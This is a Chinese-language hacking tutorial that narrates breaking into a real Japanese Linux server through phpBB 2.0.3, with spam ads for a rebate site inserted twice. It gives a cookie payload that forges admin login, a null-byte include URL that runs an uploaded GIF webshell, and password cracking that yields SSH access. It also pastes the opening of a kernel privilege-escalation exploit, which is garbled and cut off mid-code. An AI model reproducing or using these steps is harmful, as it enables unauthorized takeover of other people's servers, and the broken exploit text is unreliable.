通过phpbb拿日本linux主机系统权限.doc
通过PHPBB拿日本linux主机系统权限文/KYO王智磊最近公司不是很忙,我和我同学(也是同事)对LINUX产生了极大的兴趣。于是都在虚拟机上装了redhat9.0,基本操作熟悉了以后总感觉还是找个肉鸡好玩些,并且决定玩就要玩日本,大家都知道日本的WEB服务器最喜欢用*nix,个人感觉日本70%的网站都是用*nix+apache的构建方式。***************************************************************这里插播个广告,黑友们请无视,只是为朋友的网站能被搜索引擎收录,多加点流量。返利网,淘你喜欢,淘宝返利,淘宝返现购物。***************************************************************当然那些溢出apache的0day的程序我们没有,所以决定还是先从WEBSHELL下手,然后想办法提升权限。怎么找目标呢?首先可以考虑CGI漏洞,从这个地方入手肯定能找到很多口子,不过这个以后再说,今天就谈一下大家都熟悉的PHPBB这个论坛,因为最近暴出了不少关于这个论坛的漏洞,另外这个论坛应用也蛮广泛的。打开www.google.co.jp输入关键字poweredbyphpbb,出来很多,随便找到一个版本比较低的PHPBB论坛。地址为http://www.***.org,可以看到是phpbb2.0.3,这样可以利用修改COOKIES进入后台。打开iecv.,编辑COOKIES,把vaule替换为a:2:{s:11:“autologinid“;b:1;s:6:“userid“;s:1:“2“;}然后保存以后,关掉网页,重新再打开一次,就变成管理员了。点击下面的GotoAdministrationPanel链接进入后台。现在我想大家关心的是怎么通过后台拿到一个WEBSHELL了。具体原理在这里我就不多说了,就是利用把%00进行url编码一次:%25%30%30,include成功被截断,那么我们可以利用/来调用文件。我们把phpshell代码保存为gif或其他图片格式,在通过论坛上传然后利用构造install_to而被include()调用并执行。好了现在是找到上传的地方,进后台一看,发现他的个人头像上传是关闭的。把上面3个设置全部改为yes,头像大小默认为80 x80,这个最好也改大点,省的一会传图片的时候因为太大不能传还要回来改。OK,准备工作做完后,来到首页,打开http://www.****.org/forum/profile.php?mode=editprofile可以看到传图片的地方了,把我们精心构造的含有的图片test.gif做为头像传上去,并查看源代码记下来gif的路径。因为这个论坛比较特殊,那个图片目录不可写,我改到tmp目录,所以我这里路径为//////////tmp/dcf91e05431c8366e40a9.gif.然后我们用http://www.****.org/forum/admin/admin_styles.php?mode=addnew&&install_to=//////////tmp/dcf91e05431c8366e40a9.gif%25%30%30&sid=d915682df5d0e9bfbd2b621828a0c0e5在lanker的一句话马客户端提交就可以得到一个可爱的webshell了。***************************************************************这里插播个广告,黑友们请无视,只是为朋友的网站能被搜索引擎收录,多加点流量。返利网,淘你喜欢,淘宝返利,淘宝返现购物。***************************************************************在这里要说一下的是最后的那个sid的值是你进后台页面的地址的后面的那个值复制过来的。好了,这个后门实在不是很好看,再传一个大一点的马吧。这个马看起来就舒服多了,并且执行命令也方便了。现在有了webshell,执行命令id,uid=33(www-data)gid=33(www-data)groups=33(www-data),看来权限是很小,接下来就是提升权限。先查看系统的版本,执行命令uname–aLinuxpod-1332.4.22-1-686#6SatOct414:09:08EST2003i686GNU/Linux。正好手上有一个这个版本的溢出程序,可以试一下。预先得知他开了22端口,现在的关键是能找到一个弱口令的帐号通过SSH登陆上去上传我的代码,编译然后执行。执行命令catetc/passwd把执行命令的结果复制下来,然后分离用户,用流光跑了3个小时终于得到一个FTP的弱口令帐户。打开SecureCRT,通过SSH登陆上去。当然权限仍然很低。进来以后用wget传我的溢出代码。/***mremapmissingdo_munmapreturncheckkernelexploit**gcc-O3-static-fomit-frame-pointermremap_pte.c-omremap_pte*./mremap_pte[suid][[shell]]**Copyright(c)2004iSECSecurityResearch.AllRightsReserved.**THISPROGRAMISFOREDUCATIONALPURPOSES*ONLY*ITISPROVIDED“ASIS“*ANDWITHOUTANYWARRANTY.COPYING,PRINTING,DISTRIBUTION,MODIFICATION*WITHOUTPERMISSIONOFTHEAUTHORISSTRICTLYPROHIBITED.**/#include#include#include#include#include#include#include#include#include#include#include#include#definestr(s)#s#definexstr(s)str(s)//thisisforstandardkernelswith3/1split#defineSTARTADDR0 x40000000#definePGD_SIZE(PAGE_SIZE*1024)#defineVICTIM(STARTADDR+PGD_SIZE)#defineMMAP_BASE(STARTADDR+3*PGD_SIZE)#defineDSIGNALSIGCHLD#defineCLONEFL(DSIGNAL|CLONE_VFORK|CLONE_VM)#defineMREMAP_MAYMOVE((1UL)65520)printf(“\rMMAP#%d0 x%.8x-0 x%.8lx“,cnt,base